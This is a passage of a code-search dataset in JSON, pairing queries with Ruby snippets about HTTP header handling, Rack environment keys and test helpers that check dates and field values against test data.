res_info[:no_body] ||= status < 200 || STATUS_WITH_NO_ENTITY_BODY[status]\n end\n end\n\n # regardless of what the client wants, we always close the connection\n # if running without request queueing\n res_info[:keep_alive] &&= @queue_requests\n\n res_info[:response_hijack] = nil\n\n headers.each do |k, vs|\n next if illegal_header_key?(k)\n\n case k.downcase\n when CONTENT_LENGTH2\n next if illegal_header_value?(vs)\n res_info[:content_length] = vs\n next\n when TRANSFER_ENCODING\n res_info[:allow_chunked] = false\n res_info[:content_length] = nil\n when HIJACK\n res_info[:response_hijack] = vs\n next\n when BANNED_HEADER_KEY\n next\n end\n\n if vs.respond_to?(:to_s) && !vs.to_s.empty?\n vs.to_s.split(NEWLINE).each do |v|\n next if illegal_header_value?(v)\n lines.append k, colon, v, line_ending\n end\n else\n lines.append k, colon, line_ending\n end\n end\n\n # HTTP/1.1 & 1.0 assume different defaults:\n # - HTTP 1.0 assumes the connection will be closed if not specified\n # - HTTP 1.1 assumes the connection will be kept alive if not specified.\n # Only set the header if we're doing something which is not the default\n # for this protocol version\n if http_11\n lines << CONNECTION_CLOSE if !res_info[:keep_alive]\n else\n lines << CONNECTION_KEEP_ALIVE if res_info[:keep_alive]\n end\n end", "title": "" }, { "docid": "8cccb62ec0439d7a49ee8f40e0957129", "score": "0.62981474", "text": "def set_http_variables(header_hash)\n header_hash.each do |key, value|\n key = key.split(\"-\").join(\"_\").upcase\n if \"CONTENT_LENGTH\" == key\n @env[key] = value.to_i\n elsif \"CONTENT_TYPE\" == key\n @env[key] = value\n else\n @env[\"HTTP_#{key}\"] = value\n end\n end\n end", "title": "" }, { "docid": "3610e189e791e5a47b36bfd7721f524e", "score": "0.6294525", "text": "def http_header(k, v)\r\n @message_headers[\"http_header_#{k}\".to_sym] = v\r\n end", "title": "" }, { "docid": "f4f3163a72c158fec46d8bec4a8a6745", "score": "0.6291891", "text": "def request_headers(req)\n headers = []\n headers << \"Content-Type: #{req.content_type}\" if req.content_type\n headers << \"Content-Length: #{req.content_length}\" if req.content_length.to_i.positive?\n req.env.each do |key, value|\n next unless key.include? \"HTTP_\"\n\n parts = key.scan(/^HTTP_([A-Z_]+)/).flatten.first\n new_key = parts.split('_').map do |part|\n part.sub(/(?<=^[A-Z])[A-Z]*/, &:downcase)\n end.join(\"-\")\n headers << \"#{new_key}: #{value}\"\n end\n headers.sort\n end", "title": "" }, { "docid": "70b15fe9adac6e44a25f0a1cf4ade0bf", "score": "0.62895936", "text": "def remote_request_headers; end", "title": "" }, { "docid": "77824bd7d88af6933d22b1df841feb76", "score": "0.6288118", "text": "def log_headers(request)\n headers = {}\n request.headers.each do |key, value|\n if key.start_with?('HTTP')\n headers[key.split(\"_\").last.titleize] = value\n end\n end\n # ap headers\n puts headers.to_json\n puts request.body.read\n end", "title": "" }, { "docid": "3cf44f24021bb79d78cec685879dc653", "score": "0.62835836", "text": "def test_get_headers_allow_extra()\n\n # Perform the API call through the SDK function\n self.class.controller.get_headers()\n\n # Test response code\n assert_equal(@response_catcher.response.status_code, 200)\n\n # Test headers\n expected_headers = {}\n expected_headers['naumanali'] = nil\n expected_headers['waseemhasan'] = nil\n\n assert(TestHelper.match_headers(expected_headers, @response_catcher.response.headers))\n end", "title": "" }, { "docid": "6294ea30adf1b9fc6031c9dd7f6958c5", "score": "0.62756044", "text": "def headers raw = nil\n raw ||= env || {} # raw headers\n head = {} # cleaned headers\n raw.map{|k,v| # inspect (k,v) pairs\n unless k.class != String || k.index('rack.') == 0 # skip internal headers\n key = k.downcase.sub(/^http_/,'').split(/[-_]/).map{|t| # strip prefix and tokenize\n if %w{cf cl csrf ct dfe dnt id spf utc xss xsrf}.member? t\n t.upcase # full acronym\n elsif 'etag' == t\n 'ETag' # partial acronymm\n else\n t.capitalize # capitalized word\n end}.join '-' # join words\n head[key] = (v.class == Array && v.size == 1 && v[0] || v) unless SingleHopHeaders.member? key.downcase # set header\n end}\n\n head['Referer'] = 'http://drudgereport.com/' if host.match? /wsj\\.com$/\n head['Referer'] = 'https://' + host + '/' if (path && %w(.gif .jpeg .jpg .png .svg .webp).member?(File.extname(path).downcase)) || parts.member?('embed')\n head['User-Agent'] = if %w(po.st t.co).member? host # prefer shortlink-expansion in HTTP-headers over procedural Javascript, advertise a basic user-agent\n 'curl/7.65.1'\n else\n 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4535.0 Safari/537.36'\n end\n head\n end", "title": "" }, { "docid": "e58b3ded2f9fd524a2adf6aa5889d7fc", "score": "0.6266971", "text": "def headers\n returning Hash.new do |h|\n params.each do |k,v|\n if k =~ /^HTTP_(.*)/\n hkey = $1\n h[hkey.downcase.gsub(/_/, ' ').gsub(/\\b([a-z])/) { $1.capitalize }.gsub(/ /, '-')] = v\n end\n end\n end\n end", "title": "" }, { "docid": "90f960ce476274a87d260fde576f80af", "score": "0.62634075", "text": "def env_header(name)\n \"http-#{name}\".upcase!.tr('-', '_')\n end", "title": "" }, { "docid": "90f960ce476274a87d260fde576f80af", "score": "0.62634075", "text": "def env_header(name)\n \"http-#{name}\".upcase!.tr('-', '_')\n end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.62499225", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.62499225", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.62499225", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.62499225", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.62499225", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.62499225", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.62499225", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.62499225", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.62499225", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.62499225", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.62499225", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.62499225", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.62499225", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.62499225", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.62499225", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.62499225", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.62499225", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.62499225", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.62499225", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.62499225", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.62499225", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.62499225", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.62499225", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.62499225", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.62499225", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.62499225", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.62499225", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.62499225", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.62499225", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.62499225", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.62499225", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.62499225", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.62499225", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.62499225", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.62499225", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.62499225", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.62499225", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.62499225", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.62499225", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.62499225", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.62499225", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.62499225", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.62499225", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.62499225", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.62499225", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.62499225", "text": "def headers; end", "title": "" }, { "docid": "56c1686a79124e9a9952f26250c0d72e", "score": "0.62499225", "text": "def headers; end", "title": "" }, { "docid": "e2503c153f60da7fa57986cd91d5fb67", "score": "0.62369055", "text": "def headers()\n end", "title": "" }, { "docid": "df8aab97c08f26a813284d065829903c", "score": "0.6236632", "text": "def request_headers\n hdrs ||= Hash[\n *env.select { |k, _| k.start_with?('HTTP_') || (k == 'CONTENT_TYPE') }\n .map { |k, v| [k.sub(/^HTTP_/, ''), v] }\n .map { |k, v| [k.split('_').collect(&:capitalize).join('-'), v] }\n .sort.flatten\n ]\n hdrs\n end", "title": "" } ]
686080642eabe71d6327d8233b6ea29b
Verifies that the value of the foundation date (if any) matches the corresponding field in a given set of test data. Returns an array of mismatches.
[ { "docid": "85564fc3dceebd9c76013bcd4ec5f6e1", "score": "0.71625805", "text": "def verify_foundation_date(test_data)\n errors = []\n text_values_match?(test_data[CoreOrgData::FOUNDING_DATE.name], element_value(foundation_date_input), errors)\n errors\n end", "title": "" } ]
[ { "docid": "869ba88ed354f504280a31175423c7b1", "score": "0.6697144", "text": "def verify_dissolution_date(test_data)\n errors = []\n text_values_match?(test_data[CoreOrgData::DISSOLUTION_DATE.name], element_value(dissolution_date_input), errors)\n errors\n end", "title": "" }, { "docid": "2194e0a08223e58195903d617403179c", "score": "0.61536014", "text": "def verify_accession_date(data_set)\n verify_values_match(data_set[Acquisition::ACCESSION_DATE_GRP.name], element_value(access_date_input_locator))\n end", "title": "" }, { "docid": "174a0e9aa3a3fe8397adc18362d4ddc4", "score": "0.5831167", "text": "def check_dates\n bad_dates = self.dirty_attributes.find_all do |key, value|\n value.is_a?(Time) and (value < (Time.now - 3650.days) or value > (Time.now + 3650.days))\n end\n\n if bad_dates.empty?\n true\n else\n [ false, \"The dates \"+bad_dates.collect{|k,v| \"#{v.to_s} (#{k})\"}.join(\", \")+\" are invalid.\" ]\n end\n end", "title": "" }, { "docid": "3f28c213b84e1193fed86ac26e1c75bd", "score": "0.58281696", "text": "def test_valid_bithdays\n spec = @valid_spec\n valid_birthdates = [Date.today, @valid_spec.birthdate]\n valid_birthdates.each do |birthdate|\n spec.birthdate = birthdate\n assert spec.valid?, \"#{birthdate} should pass validation\"\n end\n end", "title": "" }, { "docid": "bf151c7d85592e8a3b2233162bb997a7", "score": "0.5810274", "text": "def test_invalid_bithdays\n spec = @valid_spec\n invalid_birthdates = [Date.new(Spec::START_YEAR - 1), Date.today + 1.year]\n invalid_birthdates.each do |birthdate|\n spec.birthdate = birthdate\n assert !spec.valid?, \"#{birthdate} should not pass validation\"\n end\n end", "title": "" }, { "docid": "22283bffca0580ee4e2abe8e360c4dd0", "score": "0.5770026", "text": "def assert_result_matches(result, expected)\n assert_equal expected.map(&:to_f), result.map(&:to_f)\n end", "title": "" }, { "docid": "be107c68c4734c41d46c5ac09b328e52", "score": "0.5712352", "text": "def invalid_tests\n [\n Test.new(@d1, nil, nil),\n Test.new(@d1, -50, nil),\n Test.new(@d1, 10.8, nil),\n Test.new(@d2, 1, nil),\n Test.new(@d0, 0, nil),\n Test.new(@d0, 100, nil),\n Test.new(@d_nil, 0, nil),\n Test.new(@d_nil, 100, nil),\n Test.new(@d_empty, 0, nil),\n Test.new(@d_empty, 100, nil),\n Test.new(@d_invalid_1, 100, nil),\n Test.new(@d_invalid_2, 100, nil),\n Test.new(@d_invalid_3, 100, nil),\n Test.new(@d_invalid_4, 100, nil),\n Test.new(@d_invalid_5, 100, nil),\n Test.new(@d_invalid_6, 100, nil),\n ]\n end", "title": "" }, { "docid": "3474f5c68a8b8ad0ef7bbb5e79252ce1", "score": "0.5687225", "text": "def assert_equal_dates(expected, actual, message = nil, format = \"%Y-%m-%d\")\n expected = expected.strftime(format) if !expected.nil? && (expected.is_a?(Date) || expected.is_a?(DateTime) || expected.is_a?(Time))\n formatted_actual = actual\n formatted_actual = actual.strftime(format) if !actual.nil? && (actual.is_a?(Date) || actual.is_a?(DateTime) || actual.is_a?(Time))\n flunk(\"#{message} \\nExpected #{expected} \\nbut was #{formatted_actual}\") unless expected == formatted_actual\n end", "title": "" }, { "docid": "c7cc02bee76b573a4653b2d2845c3b8c", "score": "0.5656631", "text": "def match_dates\n attempts = [\n iep_dates(cleaned_text),\n for_iep_from(cleaned_text),\n begin_and_end_date(cleaned_text)\n ].compact\n\n # throw out ones that can't parse as dates\n valid_attempts = attempts.select do |attempt|\n return false if (Date.strptime(attempt[0], '%m/%d/%Y') rescue nil).nil?\n return false if (Date.strptime(attempt[1], '%m/%d/%Y') rescue nil).nil?\n true\n end\n return nil if valid_attempts.size == 0\n\n # return nil not all consistent throughout the doc\n unique_attempts = valid_attempts.uniq do |attempt|\n attempt.join(' to ')\n end\n return nil if unique_attempts.size != 1\n\n unique_attempts.first\n end", "title": "" }, { "docid": "fa982bab9cc87727a0f6f80bb3a6953f", "score": "0.55853516", "text": "def test_assert_multiple_comparisons_returns_as_array_of_one_offs\n\t \tassert_equal([\"1113\", \"1114\"], check_for_match_arr([\"1113\", \"6666\", \"1114\"], \"1112\"))\n\tend", "title": "" }, { "docid": "496ccd5c44fa8541a240040b4fb197df", "score": "0.5577712", "text": "def match_arrays_failure_messages(expected_list, actual_list, identifier)\n result = [ \"#{identifier || \"value\"} is different from expected! Differences:\" ]\n\n different = false\n\n expected_list = expected_list.map { |v| ExpectedValue.new(v) }\n unless actual_list.class <= Array\n actual_list = actual_list.to_a\n end\n Diff::LCS.sdiff(expected_list, actual_list) do |change|\n case change.action\n when '='\n messages = [ change.new_element.inspect ]\n when '+'\n messages = [ change.new_element.inspect ]\n different = true\n when '-'\n messages = [ change.old_element.value.inspect ]\n different = true\n when '!'\n messages = change.old_element.failure_messages(change.new_element)\n different = true\n else\n raise \"Unknown operator returned from sdiff: #{op}\"\n end\n op = change.action\n op = ' ' if op == '='\n result += messages.flat_map { |m| m.split(\"\\n\") }.map { |m| \"#{op} #{m}\" }\n end\n different ? result : []\n end", "title": "" }, { "docid": "c24e4d9eceac12272f3caa18acff845d", "score": "0.5544798", "text": "def values_match?(expected, actual); end", "title": "" }, { "docid": "1236b0c400de42ab5da75e788bc2034b", "score": "0.55348235", "text": "def all_matches_fhir_date_format(fieldpath, fhirdateformat, jsonobject)\n # pul all values for fieldpath\n # loop values and verify all match the provided dateformat\n steps = fieldpath.split('.')\n allvalues = []\n #loop through all json records and pull out all possible values for the provided path\n #this result could contain nil values if path does not exist in record\n jsonobject.each do |onerecord|\n save_all_values_of_path(0, steps, onerecord, allvalues)\n end # jsonobject.each\n # assumption is that if allvalues.length is 0, then the path did not resolve\n if allvalues.length == 0\n @@defined_error_msg = \"#{fieldpath} was not found in provided json\"\n return false\n end\n matches = true\n allvalues.each do |_tempvalue|\n regexresult = fhirdateformat.match(allvalues[0])\n was_found = !regexresult.nil?\n matches &&= was_found\n end #allvalues.each\n unless matches\n @@defined_error_msg = \"all values did not match provided fhirdateformat: #{allvalues}\"\n end #unless\n return matches\n end", "title": "" }, { "docid": "6ded20dc08f9bf78739cca407b4752b7", "score": "0.5516353", "text": "def verify_ownerships(test_data)\n ownerships = test_data[Place::PLACE_OWNERSHIP_GRP.name] || [Place.empty_ownership]\n errors = []\n ownerships.each_with_index do |ownership, index|\n text_values_match?(ownership[Place::OWNERSHIP_OWNER.name], element_value(place_ownership_owner_input index), errors)\n text_values_match?(ownership[Place::OWNERSHIP_START_DATE.name], element_value(place_ownership_start_date_input index), errors)\n text_values_match?(ownership[Place::OWNERSHIP_END_DATE.name], element_value(place_ownership_end_date_input index), errors)\n text_values_match?(ownership[Place::OWNERSHIP_NOTE.name], element_value(place_ownership_note_input index), errors)\n end\n errors\n end", "title": "" }, { "docid": "fd10c882346b07982270ac46a1167936", "score": "0.5504072", "text": "def test_date\n title = \"Jog on 12/30\"\n expected = {:title => title, :day => Date.parse(\"12/30/2012\")}#Change so year is flexible\n assert_equal(expected, Autopopulate.autopopulate(title))\n \n title = \"Jog on February 22nd\"\n expected = {:title => title, :day => Date.parse(\"2/22/2012\")}#Change so year is flexible\n assert_equal(expected, Autopopulate.autopopulate(title)) \n \n #Test for false match of March 3\n title = \"Go to the market and buy 3 apples\"\n expected = {:title => title}\n assert_equal(expected, Autopopulate.autopopulate(title))\n end", "title": "" }, { "docid": "cf10dce875c47914598f00747c3f95ad", "score": "0.5454953", "text": "def verify_authorization_date(test_data)\n verify_values_match(test_data[CoreUseOfCollectionsData::AUTHORIZATION_DATE.name], element_value(authorization_date_input))\n end", "title": "" }, { "docid": "af193bec5e8d87197dfa6a6d65ce19de", "score": "0.544665", "text": "def test_validity_of_examples\n @dfa_examples.each do |e|\n assert_equal(true, e.deterministic?)\n end\n @nfa_examples.each do |e|\n assert_equal(false, e.deterministic?)\n end\n end", "title": "" }, { "docid": "d755719065190c344274f904a8b4dbfc", "score": "0.54170835", "text": "def assert_equal_dates(expected, actual, message = nil, format = \"%Y-%m-%d\")\n if expected != nil && (expected.is_a?(Date) || expected.is_a?(DateTime) || expected.is_a?(Time))\n expected = expected.strftime(format)\n end\n formatted_actual = actual\n if !actual.nil? and (actual.is_a?(Date) || actual.is_a?(DateTime) || actual.is_a?(Time))\n formatted_actual = actual.strftime(format)\n end\n raise(\"#{message} \\nExpected #{expected} \\nbut was #{formatted_actual}\") unless expected == formatted_actual\n end", "title": "" }, { "docid": "52a4ee479904ed5e8113cc9b760ac4d4", "score": "0.5414961", "text": "def out_of_date_test(comparison_date)\n return false if infrequent_in_date # Really infrequent events shouldn't be considered out of date until they are nearly due.\n return false if frequency==1 # Weekly events shouldn't have date arrays...\n date_array.each {|d| return false if d > comparison_date }\n true\n end", "title": "" }, { "docid": "fce6393af6077680e9629c63ee529b1d", "score": "0.54128057", "text": "def verify_end_date(test_data)\n verify_values_match(test_data[CoreUseOfCollectionsData::END_DATE.name], element_value(end_date_input))\n end", "title": "" }, { "docid": "d44046ade87ccd03142583859f95e66f", "score": "0.5407524", "text": "def verify_display_dates\n is_valid = true\n self.pricing_maps.each do |map|\n unless map.display_date\n is_valid = false\n end\n end\n\n is_valid\n end", "title": "" }, { "docid": "38d2c6bf681bb24a02cd755aba493351", "score": "0.5378514", "text": "def check_all(field, db_generator, exp_generator)\n # To find an accurate diff, we perform two passes on exp_array. In the\n # first pass, we find perfect matches between exp_array and db_array,\n # deleting the corresponding elements. In the second pass, for each\n # exp_elem in exp_array, we find the closest db_elem in db_array that\n # matches it. We then add a mismatch diff between db_elem and exp_elem\n # and remove db_elem from db_array. If no db_elem is deemed close\n # enough, we add a missing diff for exp_elem. Finally, we add an extra\n # diff for each remaining db_elem in db_array.\n\n # don't modify original arrays\n db_array = db_generator.send(field).dup\n exp_array = exp_generator.send(field).dup\n\n # first pass: remove perfect matches\n exp_array.select! do |exp_elem|\n diffs = db_array.map do |db_elem|\n check_single(field, :db_generator => db_generator,\n :exp_generator => exp_generator,\n :db_elem => db_elem,\n :exp_elem => exp_elem)\n end\n\n index = diffs.find_index(nil)\n if index\n # found perfect match; delete elem so it won't be matched again\n db_array.delete_at(index)\n false # we've accounted for this element\n else\n true # we still need to account for this element\n end\n end\n\n schema_diffs = []\n\n # second pass: find diffs\n exp_array.each do |exp_elem|\n index = find_close_match(field, exp_elem, db_array)\n\n if index\n # add mismatch diff between exp_elem and db_array[index]\n schema_diffs << check_single(field, :db_generator => db_generator,\n :exp_generator => exp_generator,\n :db_elem => db_array[index],\n :exp_elem => exp_elem)\n db_array.delete_at(index)\n else\n # add missing diff, since no db_elem is deemed close enough\n schema_diffs << {:field => field,\n :type => SchemaError::TYPE_MISSING,\n :generator => exp_generator,\n :elem => exp_elem}\n end\n end\n\n # because we deleted as we went on, db_array holds extra elements\n db_array.each do |db_elem|\n schema_diffs << {:field => field,\n :type => SchemaError::TYPE_EXTRA,\n :generator => db_generator,\n :elem => db_elem}\n end\n\n schema_diffs\n end", "title": "" }, { "docid": "0983cbf49541559fe411b7b53e163b0e", "score": "0.5371228", "text": "def dates_filtered(dif)\n if marks.required.present?\n required_dates.select { |date| non_required_dates_count[date].present? && non_required_dates_count[date] >= dif }\n else\n non_required_dates_count.select { |key, val| val >= dif }.keys\n end\n end", "title": "" }, { "docid": "4d83793f6bacf59004f2d63c45f4d80e", "score": "0.5357597", "text": "def validate base_set, test_set\n test_users = test_set.users\n test_users.each do |k, u|\n u.rated_movies.each do |m|\n guess = base_set.predict(k, m)\n actual = u.rated(m)\n if guess >= 0\n @results.push (actual - guess).abs\n end\n end\n\n\n end\n end", "title": "" }, { "docid": "da8d7e8f636627fbabf3a13bc2e67a61", "score": "0.5340146", "text": "def assert_dates_equal(expect, actual, msg = nil)\n expect = expect.strftime(\"%Y%m%d\")\n actual = actual.strftime(\"%Y%m%d\")\n msg = build_message(msg, \"Expected <#{expect}> to be <#{actual}>.\")\n assert(expect == actual, msg)\n end", "title": "" }, { "docid": "ff3b099d0ded4062c2bcae177a610ef8", "score": "0.53255075", "text": "def test_date_array()\n # Parameters for the API call\n dates = APIHelper.json_deserialize(\n '[\"1994-02-13\",\"1994-02-13\"]'\n ).map { |element| Date.iso8601(element) }\n\n # Perform the API call through the SDK function\n result = @controller.date_array(dates)\n\n # Test response code\n assert_equal(200, @response_catcher.response.status_code)\n\n # Test whether the captured response is as we expected\n refute_nil(result)\n expected_body = JSON.parse(\n '{\"passed\":true}'\n )\n received_body = JSON.parse(@response_catcher.response.raw_body)\n assert(TestHelper.match_body(expected_body, received_body, check_values: true))\n end", "title": "" }, { "docid": "f8a8f904bcb29ce6e719007c6725ac2b", "score": "0.5319855", "text": "def db_compute_mismatch_for_one_row_pair(row, new_row, columns)\n mismatch = []\n\n row.each_with_index do |_field, field_index|\n next if columns[field_index][1] == 'datetime'\n if row[field_index] != new_row[field_index]\n mismatch.push(field_index)\n end\n end\n mismatch\nend", "title": "" }, { "docid": "e6ca39e8d1d1586f98c2dfb6a8934c9d", "score": "0.52852666", "text": "def find_good_date(all_dates, strict=true)\n good_sample=nil\n all_dates.each do |fuzzy_date|\n if usable_cell(fuzzy_date,strict)\n good_sample = fuzzy_date\n break\n end\n end\n if good_sample == nil and strict==true\n # We could not find a single unambiguous cell. Let's now be less strict and see if we can find something\n find_good_date(all_dates,false)\n else\n good_sample\n end\n end", "title": "" }, { "docid": "556b00da7a1eb900e83ebf8960f0defa", "score": "0.52494854", "text": "def date_validation(start_date, end_date)\n first_date = start_date.split(\"-\").map {|item| item.to_i}\n last_date = end_date.split(\"-\").map {|item| item.to_i}\n if !(Date.valid_date?(first_date[0], first_date[1], first_date[2])) || !(Date.valid_date?(last_date[0], last_date[1], last_date[2]))\n raise ArgumentError.new(\"Date(s) you provided is/are invalid\")\n end\n end", "title": "" }, { "docid": "e384420d48b61505eb3c70f685210a34", "score": "0.5248109", "text": "def util_check_component(m, i)\n @@dates.each do |x|\n assert_equal(x.orig[i], Time.local(*x.orig).send(m))\n assert_equal(x.result[i], Time.local(*x.result).send(m))\n assert_equal(x.orig[i], Time.gm(*x.orig).send(m))\n assert_equal(x.result[i], Time.gm(*x.result).send(m))\n end\n end", "title": "" }, { "docid": "87831d85807d07401f160dd578f98acc", "score": "0.5234792", "text": "def data_verify(data)\n data_table = data_tables.detect { |item| item.text.downcase.include? data[0].value.downcase }\n data.each do |element|\n raise 'Data does not match: ' + \"#{data_table.text.downcase} does NOT include #{element.value.to_s.downcase}\" unless data_table.text.downcase.include? element.value.to_s.downcase\n end\n end", "title": "" }, { "docid": "ab41ba2d273f9bb930507426d2fcd11f", "score": "0.52256966", "text": "def test_dates\n dates = ExchangeRate.dates\n assert_equal(dates, [Date.new(2016, 01, 01), Date.new(2015, 12, 25), Date.new(2015, 12, 12)])\n end", "title": "" }, { "docid": "d0d8719239c51e90fc279f3f3c0f9e88", "score": "0.5218177", "text": "def attribute_match(attributes, expected)\n attributes.each do |attribute, value|\n assert (expected[attribute.intern] - value).abs <= 1\n end\n end", "title": "" }, { "docid": "9c46cff8e40ce40911337f6b08db8a1e", "score": "0.52136606", "text": "def compare\n percent_match = 0\n\n return 100 if passport_line_has_birthdate_match?\n\n all_possible_date_number_regex_array = all_possible_date_number_regex\n\n if @paragraph.match(/#{all_possible_date_number_regex_array.join(\"|\")}/i)\n percent_match = 100\n else\n all_month_name_regex_array = all_month_name_regex\n if @paragraph.match(/#{all_month_name_regex_array.join(\"|\")}/i)\n percent_match = 100\n end\n end\n\n percent_match\n end", "title": "" }, { "docid": "3486271d946ed505806074701ba1fade", "score": "0.52114373", "text": "def verify_types(test_data)\n test_types = test_data[CoreOrgData::ORG_RECORD_TYPES.name]\n errors = []\n test_types = [{CoreOrgData::ORG_RECORD_TYPE.name => ''}] unless test_types\n test_types.each do |test_type|\n index = test_types.index test_type\n text_values_match?(test_type[CoreOrgData::ORG_RECORD_TYPE.name], element_value(org_record_type_input(index)), errors)\n end\n errors\n end", "title": "" }, { "docid": "f5d151905ee25bd2d12c45cba9537022", "score": "0.52044666", "text": "def signature_dates_match?\n signature_dates = borrowers.map do |borrower|\n borrower.application_signed_date.try!(:strftime, '%m%d%y')\n end\n\n signature_dates.uniq.size == 1\n end", "title": "" }, { "docid": "e1f2f7448ab5f3e43330bf22b411bc73", "score": "0.5198148", "text": "def are_especial_dates_eql?\n self.inicio_especial.eql?(self.fin_especial)\n end", "title": "" }, { "docid": "09109dc10660d2696c7bdc6639e8ba60", "score": "0.5190523", "text": "def datesOK()\n\t\tif verifyDtStr($secEnt.purchaseDate) == false or\n\t\t\tverifyDtStr($secEnt.matureDate) == false or\n\t\t\tverifyDtStr($secEnt.nextDivDate) == false\n\t\t\talert \"Check your dates\\nThey need to be\\nMM/DD/YYYY\"\n\t\t\treturn false\n\t\tend\n\t\treturn true\n\tend", "title": "" }, { "docid": "08cb5a10f062bbef20cf050340224c03", "score": "0.518854", "text": "def test_get_dates\n ExchangeDate.create({:date => Date.new(2015, 12, 05), :rates => [{:currency => 'USD', :rate => '1.5678'}, {:currency => 'GBP', :rate => '6.6789'}]})\n ExchangeDate.create({:date => Date.new(2015, 12, 06), :rates => [{:currency => 'USD', :rate => '1.5678'}, {:currency => 'GBP', :rate => '6.6789'}]})\n dates = ExchangeDate.get_dates\n assert_equal(dates, [Date.new(2016, 1, 1), Date.new(2015, 12, 06), Date.new(2015, 12, 05)])\n end", "title": "" }, { "docid": "e99fcbb6ca013e37ca523c9887960590", "score": "0.51694214", "text": "def test_several_dates_1\n \tassert_equal(1, Zeller.calc(12, 2013))\n end", "title": "" }, { "docid": "f1295c8a46f4cfbb544e9a98b6377be4", "score": "0.51679766", "text": "def invalid_date(arr_date)\n arr_date[0].nil? || #if the year failed to be converted to an integer\n arr_date[2].nil? || #if the day failed to be converted to an integer\n arr_date[0] > Date.today.year || \n (arr_date[0] == Date.today.year && arr_date[1] > Date.today.month) || \n (arr_date[0] == Date.today.year && arr_date[1] == Date.today.month && arr_date[2] > Date.today.day) || \n !Date.valid_date?(arr_date[0], arr_date[1], arr_date[2])\n end", "title": "" }, { "docid": "a8c8aad2e3c7f324cf3348f01c8afa13", "score": "0.51540905", "text": "def scenarios_have_matching_end_years\n if @scenarios.map(&:end_year).any? { |year| year != end_year }\n errors.add(:base, 'One or more scenarios have differing end years')\n end\n end", "title": "" }, { "docid": "0209bb6ada7fdbe07efec90114fd6450", "score": "0.51511514", "text": "def valid?\n @date_elements.count == 3 || @date_elements.count == 5\n end", "title": "" }, { "docid": "29417a9adf0afcd544a1d21784c39a01", "score": "0.51311344", "text": "def failing_measures\n return self.product_test.measure_defs.select do |measure|\n !self.passed?(self.expected_result(measure))\n end\n end", "title": "" }, { "docid": "f87983df830ccfc32a8c6864b44c922f", "score": "0.5127919", "text": "def 